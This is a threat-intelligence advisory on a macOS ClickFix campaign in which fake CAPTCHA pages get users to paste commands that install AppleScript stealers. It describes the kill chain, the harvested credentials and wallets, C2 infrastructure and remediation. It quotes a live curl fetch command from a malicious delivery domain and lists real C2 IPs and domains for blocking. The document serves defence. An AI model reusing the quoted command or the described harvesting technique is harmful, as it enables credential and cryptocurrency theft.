macOS ClickFix Campaign: AppleScript Stealers Abuse Terminal and Script Editor Before macOS 26 Protections

macOS ClickFix Campaign (TL-2026-0396), also tracked as ClickFix macOS, is a high-severity malware campaign, first published 2026-04-20. It has no confirmed attribution, affects Apple macOS, maps to 26 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 66 indicators of compromise.

Key facts for TL-2026-0396

Threat ID
TL-2026-0396
Also known as
ClickFix macOS, AppleScript Stealer Campaign, Matryoshka ClickFix, Odyssey Stealer macOS, Atomic Stealer ClickFix Variant
Severity
HIGH
Status
ACTIVE
Category
MALWARE
First published
2026-04-20
Last reviewed
2026-04-20
Attribution confidence
NONE
Motivation
FINANCIAL
Target sectors
cryptocurrency, financial, technology, media, consumer, creative_services, developers, web3
Target regions
North America, Europe, Asia-Pacific, Latin America
Detection rules
9
Indicators of compromise
66

Malware and tooling in macOS ClickFix Campaign

Malware and tooling: Atomic Stealer (AMOS), Gen.Detect.By.NSCloudSandbox.tr, Matryoshka Loader, Odyssey Stealer, Script.Trojan.Heuristic, Trojan.Generic.39744155, Custom HTTP POST exfiltration (no commercial C2 framework)

Netskope Threat Labs is tracking an active ClickFix social-engineering campaign targeting macOS users that lures victims to fake CAPTCHA/verification pages which instruct them to paste a curl-piped command into Terminal. The command fetches an AppleScript (osascript) stealer that presents a non-closable Directory Services password dialog, then exfiltrates browser cookies/logins, login.keychain-db, 16+ cryptocurrency wallets, and browser extension vaults to an attacker-controlled HTTP server at 172.94.9.250. Operators are already pivoting to applescript:// URL-scheme delivery via Script Editor to survive the macOS 26.4 Terminal paste-command scanner.

How macOS ClickFix Campaign works

Netskope Threat Labs published an April 20, 2026 analysis of an active ClickFix campaign retooled for macOS that abuses Apple's own scripting stack (osascript / AppleScript / Script Editor) to steal credentials, browser state, keychain contents, and cryptocurrency wallets from thousands of consumer and enterprise macOS endpoints. The campaign is notable because it (1) arrives immediately before Apple's macOS 26 ‘Tahoe’ hardening rollout, which introduces the first native Terminal paste-command scanner and restricted AppleEvents defaults purpose-built to disrupt ClickFix, and (2) operators have already iterated multiple payload variants to survive those mitigations.

Initial access follows the canonical ClickFix playbook. Victims are driven from malvertising, SEO-poisoned cryptocurrency sites, and typosquatted domains (e.g. comparisions[.]org, cryptoinfo-news[.]com, dryvecar[.]com, odyssey1[.]to, barbermoo[.]xyz) to fake CAPTCHA, Cloudflare-verification, or ‘repair your Mac’ pages. The lure presents a ‘Verification Steps’ or ‘System Maintenance’ panel instructing the user to press Command+Space, open Terminal, paste a pre-copied command, and press Return. The pasted command is a curl-piped-to-shell one-liner that silently downloads a second-stage shell wrapper and detaches via nohup with stdin/stdout/stderr redirected to /dev/null so the user sees no output and returns to a clean prompt.

The second stage is a heredoc-wrapped shell script (‘rogue.sh’ / ‘Matryoshka’ variant) that base64-decodes, gunzips, and evals an inner AppleScript payload written to a temporary staging directory such as /tmp/xdivcmp/, /tmp/lovemrtrump/, or /tmp/osalogging/. The AppleScript is invoked through osascript and immediately displays a non-closable dialog that mimics a legitimate ‘System Preferences’ authentication prompt. Password candidates are validated in real time against macOS Directory Services using ‘do shell script … with administrator privileges’ or a dscl authentication call, so only a real login password closes the dialog. Once the cleartext password is captured, the stealer runs with admin rights and begins parallel collection.

Harvesting is extensive. The stealer enumerates 12 Chromium-based browsers (Chrome, Chrome Beta, Chrome Canary, Chrome Dev, Edge, Brave, Vivaldi, Opera, Opera GX, Chromium, Arc, CocCoc) and 2 Firefox-based browsers (Firefox, Waterfox), copying Cookies, Login Data, Web Data, IndexedDB, and Local Extension Settings for 200+ password-manager, 2FA, and wallet extensions (LastPass, 1Password, Dashlane, Bitwarden, MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Authy, Google Authenticator). It exfiltrates login.keychain-db (AES-256 encrypted, decrypted offline using the captured password) and 16 standalone desktop wallets including Exodus, Atomic, Electrum, Coinomi, Guarda, Ledger Live, Trezor Suite, Bitcoin Core, Litecoin Core, Dash Core, Dogecoin Core, Monero, Wasabi, Sparrow, Electron Cash, and Electrum-LTC. In the Matryoshka variant the loader surgically patches /Applications/Ledger Live.app/Contents/Resources/app.asar and re-signs the Electron bundle locally, while Trezor Suite is killed, removed, and replaced with a malicious trojanized build pulled from C2.

Collected artefacts are zipped to /tmp/out.zip or /tmp/osalogging.zip and POSTed to the C2 using either plain HTTP (e.g. http://172.94.9.250, http://45.135.232.33/log) or an API-key-gated endpoint that returns 404 without the correct ‘api-key: 5190ef17…’ header. Hunt.io’s infrastructure mapping connects the campaign to a cluster of at least nine C2 servers (45.146.130.129, 5.199.166.102, 185.39.206.183, 45.135.232.33, 88.214.50.3, 194.26.29.217, 83.222.190.214, 185.147.124.212, 188.92.28.186) running OpenSSH 9.2p1 on port 22, phishing pages on 80, a hidden admin panel on 3333, and iperf3 on 5201 — likely a Russian-speaking MaaS crew overlapping with Odyssey Stealer and Atomic Stealer affiliates.

Jamf Threat Labs disclosed a parallel variant on April 8, 2026 that bypasses Terminal entirely. That chain abuses the applescript:// URL scheme: clicking a crafted link in any browser triggers Script Editor (which is not covered by the new macOS 26.4 Terminal paste-command scanner), which then runs a string-obfuscated tr-transformed command resolving to ‘curl -kSsfL https://dryvecar[.]com/curl/04566d1d3f9717b2e7e6b643775d9ca72cef942f6df9ce075cf8c73a1bd2565a’. The returned second stage is a base64+gzip-compressed Mach-O identified by Jamf as an Atomic Stealer variant, executed from /tmp. On macOS 26.0 the script runs directly; on 26.4 it produces an additional warning prompt that users can still click through, confirming the ‘warning-only’ mitigation is not a hard control.

Defensively this matters because ClickFix sidesteps every signed-binary and notarization control Apple has invested in. No malicious Mach-O is executed on disk during the initial stage — the entire kill chain is a legitimate curl, a legitimate shell, a legitimate osascript, and a legitimate Script Editor. Detection must therefore pivot to behavioural telemetry: osascript child processes, curl piped to sh/zsh originating from Terminal or Script Editor with network-sourced content, writes to /tmp/{xdivcmp,lovemrtrump,osalogging}/, dscl authentication attempts with repeated passwords from osascript ancestry, applescript:// URL handler invocations from browser processes, and outbound HTTP POSTs to the listed C2 IPs carrying zip archives. macOS 26.4 adds a native Terminal paste warning and tightened AppleEvents authorization, but the Jamf chain proves operators have already adapted; defenders should not rely on OS-level warnings alone.

MITRE ATT&CK techniques used in TL-2026-0396

Collection

T1005 Data from Local System; T1560 Archive Collected Data

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts

Exfiltration

T1041 Exfiltration Over C2 Channel

Credential Access

T1056 Input Capture; T1539 Steal Web Session Cookie; T1555 Credentials from Password Stores

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution; T1559 Inter-Process Communication

Command and Control

T1071 Application Layer Protocol; T1105 Ingress Tool Transfer

Discovery

T1082 System Information Discovery; T1083 File and Directory Discovery; T1217 Browser Information Discovery

Initial Access

T1189 Drive-by Compromise; T1566 Phishing

Persistence

T1547 Boot or Logon Autostart Execution

Privilege Escalation

T1548 Abuse Elevation Control Mechanism

Resource Development

T1583 Acquire Infrastructure; T1587 Develop Capabilities

Reconnaissance

T1589 Gather Victim Identity Information

Impact

T1657 Financial Theft

Affected products and versions in macOS ClickFix Campaign

  • Apple — macOS
    Vulnerable versions: 14 Sonoma; 15 Sequoia; 26.0 Tahoe; 26.1 Tahoe; 26.2 Tahoe; 26.3 Tahoe
    Fixed in: 26.4 Tahoe (Terminal paste scanner + AppleEvents hardening)
  • Apple — Terminal.app
    Vulnerable versions: All pre-26.4
    Fixed in: Bundled with macOS 26.4
  • Apple — Script Editor.app (applescript:// URL scheme)
    Vulnerable versions: All currently shipping
  • Ledger — Ledger Live
    Vulnerable versions: Electron bundle pre-integrity-check builds
  • SatoshiLabs — Trezor Suite
    Vulnerable versions: All macOS builds shipping before runtime-integrity verification
  • Google — Chrome / Chromium browsers
    Vulnerable versions: All versions — Login Data, Cookies, Web Data readable once user password captured
  • Mozilla — Firefox / Waterfox
    Vulnerable versions: All versions — profile directories readable

Remediation for macOS ClickFix Campaign

Patches

  • Upgrade all endpoints to macOS Tahoe 26.4 to obtain the native Terminal paste-command scanner and tightened AppleEvents prompts
  • Apply the latest Safari and Chromium security updates so that applescript:// URL scheme invocations require an explicit user gesture and a confirmation prompt

Immediate actions

  • Block curl-piped-to-shell one-liners originating from Terminal.app or Script Editor.app via EDR behavioural rules
  • Block the C2 IPs 172.94.9.250, 45.146.130.129, 5.199.166.102, 185.39.206.183, 45.135.232.33, 88.214.50.3, 194.26.29.217, 83.222.190.214, 185.147.124.212, 188.92.28.186 at perimeter firewalls
  • DNS-sinkhole the typosquat and delivery domains: dryvecar.com, odyssey1.to, odyssey-st.com, cryptoinfo-news.com, cryptoinfo-allnews.com, cryptoinfnews.com, barbermoo.xyz, comparisions.org, macfilesendstream.com, appxmacos.com, appmacosx.com, macosxappstore.com, macxapp.com, macosx-app.com, macosx-apps.com, dactarhome.com, ttxttx.com, emailreddit.com, financementure.com, greenpropertycert.com, apposx.com
  • Alert on any file creation under /tmp/xdivcmp/, /tmp/lovemrtrump/, /tmp/osalogging/, /tmp/out.zip, or /tmp/osalogging.zip
  • Push emergency comms to users warning about 'paste this command to verify / fix your Mac' CAPTCHA pages

Workarounds

  • Disable Script Editor.app via MDM profile or Gatekeeper allow-list for users who do not need AppleScript authoring
  • Unregister the applescript:// URL scheme handler via LaunchServices (lsregister -u) on managed fleets
  • Set shell profiles to alias or wrap curl so that 'curl | sh' piping is logged and requires confirmation
  • Force Terminal.app to run in secure keyboard entry mode and disable 'Allow Paste' until macOS 26.4 is deployed

Longer-term hardening

  • Deploy macOS EDR (Jamf Protect, CrowdStrike Falcon for Mac, SentinelOne, Huntress) with behavioural rules for osascript child processes and applescript:// URL handler invocations
  • Implement DNS filtering (Umbrella, NextDNS, Cloudflare Gateway) for newly registered and low-reputation domains
  • Enforce managed browser policies that block extension sideloading and require vetted password-manager extensions only
  • Deploy Transparency, Consent, and Control (TCC) Mobile Device Management profiles that restrict AppleEvents between unrelated applications
  • Roll out hardware security keys (YubiKey, Titan) for high-value accounts to neutralise session-cookie and 2FA-seed theft
  • Establish a continuous ClickFix awareness training track highlighting the 'paste this command to prove you are human' pattern

Weaknesses (CWE) in macOS ClickFix Campaign

CWE-1021, CWE-20, CWE-285, CWE-346, CWE-829

Timeline of macOS ClickFix Campaign

  • Hunt.io begins tracking the ClickFix macOS infrastructure cluster (odyssey1.to, cryptoinfo-news.com) and catalogues first C2 servers on ports 22/80/3333/5201.
  • Atomic Stealer operators begin integrating AppleScript delivery, laying groundwork for the ClickFix pivot documented later by Jamf.
  • Intego publishes analysis of the Matryoshka ClickFix variant showing heredoc + base64 + gunzip nested loader (rogue.sh / rogue_applescript.scpt), SHA-256 62ca9538... and the barbermoo[.]xyz C2 with api-key-gated exfiltration.
  • Forcepoint X-Labs profiles Odyssey Stealer campaign against macOS users targeting credentials and crypto wallets, mapping overlap with the ClickFix cluster.
  • Jamf Threat Labs discloses a ClickFix variant that abuses the applescript:// URL scheme to launch Script Editor and deliver an Atomic Stealer Mach-O from dryvecar[.]com, bypassing Terminal and the upcoming macOS 26.4 paste scanner.
  • BleepingComputer and Help Net Security report the Jamf findings, raising public awareness of the Script Editor bypass.
  • Hunt.io publishes full infrastructure mapping with nine confirmed C2 IPs and 17 delivery/typosquat domains supporting the AppleScript stealer campaign.
  • Threadlinqs Intelligence Platform ingests the threat as TL-2026-0396 for full research, detection engineering, and simulation coverage.
  • Netskope Threat Labs publishes primary analysis of the active campaign — C2 172.94.9.250, staging /tmp/xdivcmp/, build ID e12285f507c847b986233991b86b22e3, 12 Chromium + 2 Firefox browsers, 16 wallets, and the upcoming macOS 26.4 Terminal paste-warning mitigation.
  • As of 2026-05-29, this macOS ClickFix AppleScript-stealer campaign remains actively ongoing: Microsoft's May 6, 2026 report confirms multiple live variants (MacSync, SHub, AMOS/Atomic) still abusing Terminal and Script Editor, with the warning-only macOS 26.4 mitigation already bypassed. No CVE, no takedown or arrests of the MaaS cluster; operators rotate infrastructure and ClickFix is assessed to persist through 2026.

Sources cited for macOS ClickFix Campaign

Threats related to macOS ClickFix Campaign

Detection coverage for TL-2026-0396

As of 2026-04-20, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0396 across Splunk SPL, Microsoft KQL and Sigma, covering 66 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats